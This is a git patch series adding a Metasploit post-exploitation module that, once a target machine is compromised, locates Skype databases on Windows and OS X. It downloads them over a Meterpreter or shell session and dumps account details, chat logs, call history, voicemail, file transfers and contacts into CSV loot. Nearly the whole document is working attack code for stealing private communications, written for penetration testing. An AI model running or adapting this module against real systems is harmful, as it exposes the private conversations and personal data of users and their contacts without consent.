From b302f50dbe72f246065cdeadd801498258f8df09 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Tue, 5 Jun 2012 19:11:30 -0400 Subject: [PATCH 1/3] Initial version of the module supporting Windows and OSX --- modules/post/multi/gather/skype_enum.rb | 267 ++++++++++++++++++++++++ 1 file changed, 267 insertions(+) create mode 100644 modules/post/multi/gather/skype_enum.rb diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb new file mode 100644 index 0000000000..5d11c877c9 --- /dev/null +++ b/modules/post/multi/gather/skype_enum.rb @@ -0,0 +1,267 @@ +## +# $Id$ +## + +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' +require 'csv' + +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/user_profiles' + +require 'msf/core/post/osx/system' + + + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::UserProfiles + + include Msf::Post::OSX::System + + + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Multi Gather Skype User Data Enumeration', + 'Description' => %q{ + This module will enumerate the Skype accounts settings, contact list, call history, chat logs, + file transfer history and voicemail log saving all the data in to CSV files for analysis. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Carlos Perez '], + 'Version' => '$Revision$', + 'Platform' => [ 'windows', 'osx' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + # Run Method for when run command is issued + def run + # syinfo is only on meterpreter sessions + print_status("Running module for Skype enumeration against #{sysinfo['Computer']}") if not sysinfo.nil? + + # Ensure that SQLite3 gem is installed + begin + require 'sqlite3' + rescue LoadError + print_error("SQLite3 is not available, and we are not able to parse the database.") + return + end + + if sysinfo['OS']=~ /Mac OS X/ + # Iterate thru each user profile on as OSX System for users not in the default install + users = get_nonsystem_accounts.collect {|p| if p['uid'].to_i > 500; p; end }.compact + users.each do |p| + if check_skype("#{p['dir']}/Library/Application Support/", p['name']) + db_in_loot = download_db(p) + process_db(db_in_loot,p['name']) + end + end + else + # Iterate thru each user profile in a Windows System using Meterpreter Post API + grab_user_profiles().each do |p| + if check_skype(p['AppData'],p['UserName']) + db_in_loot = download_db(p) + process_db(db_in_loot,p['UserName']) + end + end + end + end + + # Check if Skype is installed. Returns true or false. + def check_skype(path, user) + session.fs.dir.foreach(path) do |dir| + if dir =~ /Skype/ + print_good("Skype account found for #{user}") + return true + end + end + print_error("Skype is not installed for #{user}") + return false + end + + # Download file using Meterpreter functionality and returns path in loot for the file + def download_db(profile) + if sysinfo['OS'] =~ /Mac OS X/ + file = session.fs.file.search("#{profile['dir']}///Library/Application Support/Skype/","main.db",true) + else + file = session.fs.file.search("#{profile['AppData']}\\Skype","main.db",true) + end + + file_loc = store_loot("skype.config", + "binary/db", + session, + "main.db", + "Skype Configuration database for #{profile['UserName']}" + ) + + file.each do |db| + maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}" + print_status("Downloading #{maindb}") + session.fs.file.download_file(file_loc,maindb) + print_good("Configuration database saved to #{file_loc}") + end + + return file_loc + end + + # Saves rows returned from a query to a given CSV file + def save_csv(data,file) + CSV.open(file, "w") do |csvwriter| + data.each do |record| + csvwriter << record + end + end + end + # Extracts the data from the DB in to a CSV file + def process_db(db_path,user) + db = SQLite3::Database.new(db_path) + + # Extract information for accounts configured in Skype + print_status("Enumerating accounts") + user_rows = db.execute2('SELECT "skypeout_balance_currency", "skypeout_balance", "skypeout_precision", + "skypein_numbers", "subscriptions", "offline_callforward", "service_provider_info", + "registration_timestamp", "nr_of_other_instances", "partner_channel_status", + "flamingo_xmpp_status", "owner_under_legal_age", "type", "skypename", + "pstnnumber", "fullname", "birthday", "gender", "languages", "country", + "province", "city", "phone_home", "phone_office", "phone_mobile", "emails", + "homepage", "about", "profile_timestamp", "received_authrequest", + "displayname", "refreshing", "given_authlevel", "aliases", "authreq_timestamp", + "mood_text", "timezone", "nrof_authed_buddies", "ipcountry", + "given_displayname", "availability", "lastonline_timestamp", + "assigned_speeddial", "lastused_timestamp", "assigned_comment", "alertstring", + "avatar_timestamp", "mood_timestamp", "rich_mood_text", "synced_email", + "verified_email", "verified_company" FROM Accounts;') + + # Check if an account exists and if it does enumerate if not exit. + if user_rows.length > 1 + user_info = store_loot("skype.accounts", + "text/plain", session,"" , + "skype_accounts.csv", + "Skype User #{user} Account information from configuration database." + ) + print_good("Saving account information to #{user_info}") + save_csv(user_rows,user_info) + else + print_error("No skype accounts are configured for #{user}") + return + end + + # Extract chat log from the database + print_status("Extracting chat message log.") + cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner", + "timestamp", "body_xml", "remote_id" FROM "Messages" WHERE type == 61;') + chat_log = store_loot("#skype.chat", + "text/plain", session,"" , + "skype_chatlog.csv", + "Skype User #{user} chat log from configuration database." + ) + + if cl_rows.length > 1 + print_good("Saving chat log to #{chat_log}") + save_csv(cl_rows, chat_log) + else + print_error("No chat logs where found!") + end + + # Extract file transfer history + print_status("Extracting file transfer history") + ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname", "starttime", + "finishtime", "filepath", "filename", "filesize", "bytestransferred", + "convo_id", "accepttime" FROM "Transfers";') + + file_transfer = store_loot("skype.filetransfer", + "text/csv", + session, + "", + "skype_filetransfer.csv", + "Skype User #{user} file transfer history." + ) + # Check that we have actual file transfers to report + if ft_rows.length > 1 + print_good("Saving file transfer history to #{file_transfer}") + save_csv(ft_rows, file_transfer) + else + print_error("No file transfer history was found!") + end + + # Extract voicemail history + print_status("Extracting voicemail history") + vm_rows = db.execute2('SELECT "type", "partner_handle", "partner_dispname", "status", + "subject", "timestamp", "duration", "allowed_duration", "playback_progress", + "convo_id", "chatmsg_guid", "notification_id", "flags", "size", "path", + "xmsg" FROM "Voicemails";') + + voicemail = store_loot("skype.voicemail", + "text/csv", + session, + "", + "skype_voicemail.csv", + "Skype User #{user} voicemail history." + ) + + if vm_rows.length > 1 + print_good("Saving voicemail history to #{voicemail}") + save_csv(vm_rows, voicemail) + else + print_error("No voicemail history was found!") + end + + # Extracting call log + print_status("Extracting call log") + call_rows = db.execute2('SELECT "begin_timestamp", "topic","host_identity", "mike_status", + "duration", "soundlevel", "name", "is_incoming", "is_conference", "is_on_hold", + "start_timestamp", "quality_problems", "current_video_audience", + "premium_video_sponsor_list", "conv_dbid" FROM "Calls";') + + call_log = store_loot("skype.callhistory", + "text/csv", + session, + "", + "skype_callhistory.csv", + "Skype User #{user} call history." + ) + if call_rows.length > 1 + print_good("Saving call log to #{call_log}") + save_csv(call_rows, call_log) + else + print_error("No call log was found!") + end + + # Extracting contact list + print_status("Extracting contact list") + ct_rows = db.execute2('SELECT "skypename", "pstnnumber", "aliases", "fullname", + "birthday", "languages", "country", "province", "city", "phone_home", + "phone_office", "phone_mobile", "emails", "homepage", "about", "mood_text", + "ipcountry", "lastonline_timestamp", "displayname", "given_displayname", + "assigned_speeddial", "assigned_comment","assigned_phone1", + "assigned_phone1_label", "assigned_phone2", "assigned_phone2_label", + "assigned_phone3", "assigned_phone3_label", "popularity_ord", "isblocked", + "main_phone", "phone_home_normalized", "phone_office_normalized", + "phone_mobile_normalized", "verified_email", "verified_company" + FROM "Contacts";') + + contact_log = store_loot("skype.contactlist", + "text/csv", + session, + "", + "skype_contactlist.csv", + "Skype User #{user} contact list." + ) + if ct_rows.length > 1 + print_good("Saving contact list to #{contact_log}") + save_csv(ct_rows, contact_log) + end + end +end \ No newline at end of file From b004f35354b9512f612232063a3a40dcf62d9840 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Wed, 6 Jun 2012 16:28:42 -0400 Subject: [PATCH 2/3] Change failure of loading gem message to be in par with other gem error messages in the framework, also date is better represented in the CSV with UTC value --- modules/post/multi/gather/skype_enum.rb | 59 ++++++++++++++----------- 1 file changed, 34 insertions(+), 25 deletions(-) diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb index 5d11c877c9..4280effac0 100644 --- a/modules/post/multi/gather/skype_enum.rb +++ b/modules/post/multi/gather/skype_enum.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Post begin require 'sqlite3' rescue LoadError - print_error("SQLite3 is not available, and we are not able to parse the database.") + print_error("Failed to load sqlite3, try 'gem install sqlite3'") return end @@ -132,22 +132,26 @@ class Metasploit3 < Msf::Post print_status("Enumerating accounts") user_rows = db.execute2('SELECT "skypeout_balance_currency", "skypeout_balance", "skypeout_precision", "skypein_numbers", "subscriptions", "offline_callforward", "service_provider_info", - "registration_timestamp", "nr_of_other_instances", "partner_channel_status", - "flamingo_xmpp_status", "owner_under_legal_age", "type", "skypename", - "pstnnumber", "fullname", "birthday", "gender", "languages", "country", - "province", "city", "phone_home", "phone_office", "phone_mobile", "emails", - "homepage", "about", "profile_timestamp", "received_authrequest", + datetime("timestamp","unixepoch")"registration_timestamp", + "nr_of_other_instances", "partner_channel_status", "flamingo_xmpp_status", + "owner_under_legal_age", "type", "skypename", "pstnnumber", "fullname", + "birthday", "gender", "languages", "country", "province", "city", "phone_home", + "phone_office", "phone_mobile", "emails", "homepage", "about", + datetime("profile_timestamp","unixepoch"), "received_authrequest", "displayname", "refreshing", "given_authlevel", "aliases", "authreq_timestamp", "mood_text", "timezone", "nrof_authed_buddies", "ipcountry", - "given_displayname", "availability", "lastonline_timestamp", - "assigned_speeddial", "lastused_timestamp", "assigned_comment", "alertstring", - "avatar_timestamp", "mood_timestamp", "rich_mood_text", "synced_email", + "given_displayname", "availability", datetime("lastonline_timestamp","unixepoch"), + "assigned_speeddial", datetime("lastused_timestamp","unixepoch"), + "assigned_comment", "alertstring", datetime("avatar_timestamp","unixepoch"), + datetime("mood_timestamp","unixepoch"), "rich_mood_text", "synced_email", "verified_email", "verified_company" FROM Accounts;') # Check if an account exists and if it does enumerate if not exit. if user_rows.length > 1 user_info = store_loot("skype.accounts", - "text/plain", session,"" , + "text/plain", + session, + "", "skype_accounts.csv", "Skype User #{user} Account information from configuration database." ) @@ -159,11 +163,14 @@ class Metasploit3 < Msf::Post end # Extract chat log from the database - print_status("Extracting chat message log.") + print_status("Extracting chat message log") cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner", - "timestamp", "body_xml", "remote_id" FROM "Messages" WHERE type == 61;') - chat_log = store_loot("#skype.chat", - "text/plain", session,"" , + datetime("timestamp","unixepoch"), "body_xml", + "remote_id" FROM "Messages" WHERE type == 61;') + chat_log = store_loot("skype.chat", + "text/plain", + session, + "", "skype_chatlog.csv", "Skype User #{user} chat log from configuration database." ) @@ -177,9 +184,10 @@ class Metasploit3 < Msf::Post # Extract file transfer history print_status("Extracting file transfer history") - ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname", "starttime", - "finishtime", "filepath", "filename", "filesize", "bytestransferred", - "convo_id", "accepttime" FROM "Transfers";') + ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname", + datetime("starttime","unixepoch"), datetime("finishtime","unixepoch"), + "filepath", "filename", "filesize", "bytestransferred", + "convo_id", datetime("accepttime","unixepoch") FROM "Transfers";') file_transfer = store_loot("skype.filetransfer", "text/csv", @@ -199,9 +207,9 @@ class Metasploit3 < Msf::Post # Extract voicemail history print_status("Extracting voicemail history") vm_rows = db.execute2('SELECT "type", "partner_handle", "partner_dispname", "status", - "subject", "timestamp", "duration", "allowed_duration", "playback_progress", - "convo_id", "chatmsg_guid", "notification_id", "flags", "size", "path", - "xmsg" FROM "Voicemails";') + "subject", datetime("timestamp","unixepoch"), "duration", "allowed_duration", + "playback_progress", "convo_id", "chatmsg_guid", "notification_id", "flags", + "size", "path", "xmsg" FROM "Voicemails";') voicemail = store_loot("skype.voicemail", "text/csv", @@ -220,9 +228,10 @@ class Metasploit3 < Msf::Post # Extracting call log print_status("Extracting call log") - call_rows = db.execute2('SELECT "begin_timestamp", "topic","host_identity", "mike_status", - "duration", "soundlevel", "name", "is_incoming", "is_conference", "is_on_hold", - "start_timestamp", "quality_problems", "current_video_audience", + call_rows = db.execute2('SELECT datetime("begin_timestamp","unixepoch"), + "topic","host_identity", "mike_status", "duration", "soundlevel", "name", + "is_incoming", "is_conference", "is_on_hold", + datetime("start_timestamp","unixepoch"), "quality_problems", "current_video_audience", "premium_video_sponsor_list", "conv_dbid" FROM "Calls";') call_log = store_loot("skype.callhistory", @@ -244,8 +253,8 @@ class Metasploit3 < Msf::Post ct_rows = db.execute2('SELECT "skypename", "pstnnumber", "aliases", "fullname", "birthday", "languages", "country", "province", "city", "phone_home", "phone_office", "phone_mobile", "emails", "homepage", "about", "mood_text", - "ipcountry", "lastonline_timestamp", "displayname", "given_displayname", - "assigned_speeddial", "assigned_comment","assigned_phone1", + "ipcountry", datetime("lastonline_timestamp","unixepoch"), "displayname", + "given_displayname", "assigned_speeddial", "assigned_comment","assigned_phone1", "assigned_phone1_label", "assigned_phone2", "assigned_phone2_label", "assigned_phone3", "assigned_phone3_label", "popularity_ord", "isblocked", "main_phone", "phone_home_normalized", "phone_office_normalized", From bb80124d63ca67484c1e96cd940afe39c6a5bb1e Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Sun, 10 Jun 2012 21:59:14 -0400 Subject: [PATCH 3/3] Added support for shell and tested on OSX 10.6 and 10.7. Added additional session type checks. --- modules/post/multi/gather/skype_enum.rb | 92 ++++++++++++++++++------- 1 file changed, 67 insertions(+), 25 deletions(-) diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb index 4280effac0..4edb2276b0 100644 --- a/modules/post/multi/gather/skype_enum.rb +++ b/modules/post/multi/gather/skype_enum.rb @@ -42,8 +42,13 @@ class Metasploit3 < Msf::Post 'Author' => [ 'Carlos Perez '], 'Version' => '$Revision$', 'Platform' => [ 'windows', 'osx' ], - 'SessionTypes' => [ 'meterpreter' ] + 'SessionTypes' => [ 'meterpreter', 'shell' ] )) + register_advanced_options( + [ + # Set as an advanced option since it can only be useful in shell sessions. + OptInt.new('TIMEOUT', [true ,'Timeout in seconds when downloading main.db on a shell session.', 90]), + ], self.class) end # Run Method for when run command is issued @@ -58,30 +63,48 @@ class Metasploit3 < Msf::Post print_error("Failed to load sqlite3, try 'gem install sqlite3'") return end - - if sysinfo['OS']=~ /Mac OS X/ - # Iterate thru each user profile on as OSX System for users not in the default install - users = get_nonsystem_accounts.collect {|p| if p['uid'].to_i > 500; p; end }.compact - users.each do |p| - if check_skype("#{p['dir']}/Library/Application Support/", p['name']) - db_in_loot = download_db(p) - process_db(db_in_loot,p['name']) + + if (session.platform =~ /java/) || (session.platform =~ /osx/) + # Make sure a Java Meterpreter on anything but OSX will exit + if session.platform =~ /java/ and sysinfo['OS'] !~ /Mac OS X/ + print_error("This session type and platform are not supported.") + return end - end - else - # Iterate thru each user profile in a Windows System using Meterpreter Post API - grab_user_profiles().each do |p| - if check_skype(p['AppData'],p['UserName']) - db_in_loot = download_db(p) - process_db(db_in_loot,p['UserName']) + # Iterate thru each user profile on as OSX System for users not in the default install + users = get_users.collect {|p| if p['uid'].to_i > 500; p; end }.compact + users.each do |p| + if check_skype("#{p['dir']}/Library/Application Support/", p['name']) + db_in_loot = download_db(p) + # Exit if file was not successfully downloaded + return if db_in_loot.nil? + process_db(db_in_loot,p['name']) + end end + elsif (session.platfom =~ /win/ and session.type =~ /meter/) + # Iterate thru each user profile in a Windows System using Meterpreter Post API + grab_user_profiles().each do |p| + if check_skype(p['AppData'],p['UserName']) + db_in_loot = download_db(p) + process_db(db_in_loot,p['UserName']) + end + end + else + print_error("This session type and platform are not supported.") end - end + end # Check if Skype is installed. Returns true or false. def check_skype(path, user) - session.fs.dir.foreach(path) do |dir| + dirs = [] + if session.type =~ /meterpreter/ + session.fs.dir.foreach(path) do |d| + dirs << d + end + else + dirs = cmd_exec("ls -m \"#{path}\"").split(", ") + end + dirs.each do |dir| if dir =~ /Skype/ print_good("Skype account found for #{user}") return true @@ -93,10 +116,14 @@ class Metasploit3 < Msf::Post # Download file using Meterpreter functionality and returns path in loot for the file def download_db(profile) - if sysinfo['OS'] =~ /Mac OS X/ - file = session.fs.file.search("#{profile['dir']}///Library/Application Support/Skype/","main.db",true) + if session.type =~ /meterpreter/ + if sysinfo['OS'] =~ /Mac OS X/ + file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/","main.db",true) + else + file = session.fs.file.search("#{profile['AppData']}\\Skype","main.db",true) + end else - file = session.fs.file.search("#{profile['AppData']}\\Skype","main.db",true) + file = cmd_exec("mdfind","-onlyin #{profile['dir']} -name main.db").split("\n").collect {|p| if p =~ /Skype\/\w*\/main.db$/; p; end }.compact end file_loc = store_loot("skype.config", @@ -107,12 +134,27 @@ class Metasploit3 < Msf::Post ) file.each do |db| - maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}" - print_status("Downloading #{maindb}") - session.fs.file.download_file(file_loc,maindb) + if session.type =~ /meterpreter/ + maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}" + print_status("Downloading #{maindb}") + session.fs.file.download_file(file_loc,maindb) + else + print_status("Downloading #{db}") + # Giving it 1:30 minutes to download since the file could be several MB + maindb = cmd_exec("cat", "\"#{db}\"", datastore['TIMEOUT']) + if maindb.nil? + print_error("Could not download the file. Set the TIMEOUT option to a higher number.") + return + end + # Saving the content as binary so it can be used + output = ::File.open(file_loc, "wb") + maindb.each_line do |d| + output.puts(d) + end + output.close + end print_good("Configuration database saved to #{file_loc}") end - return file_loc end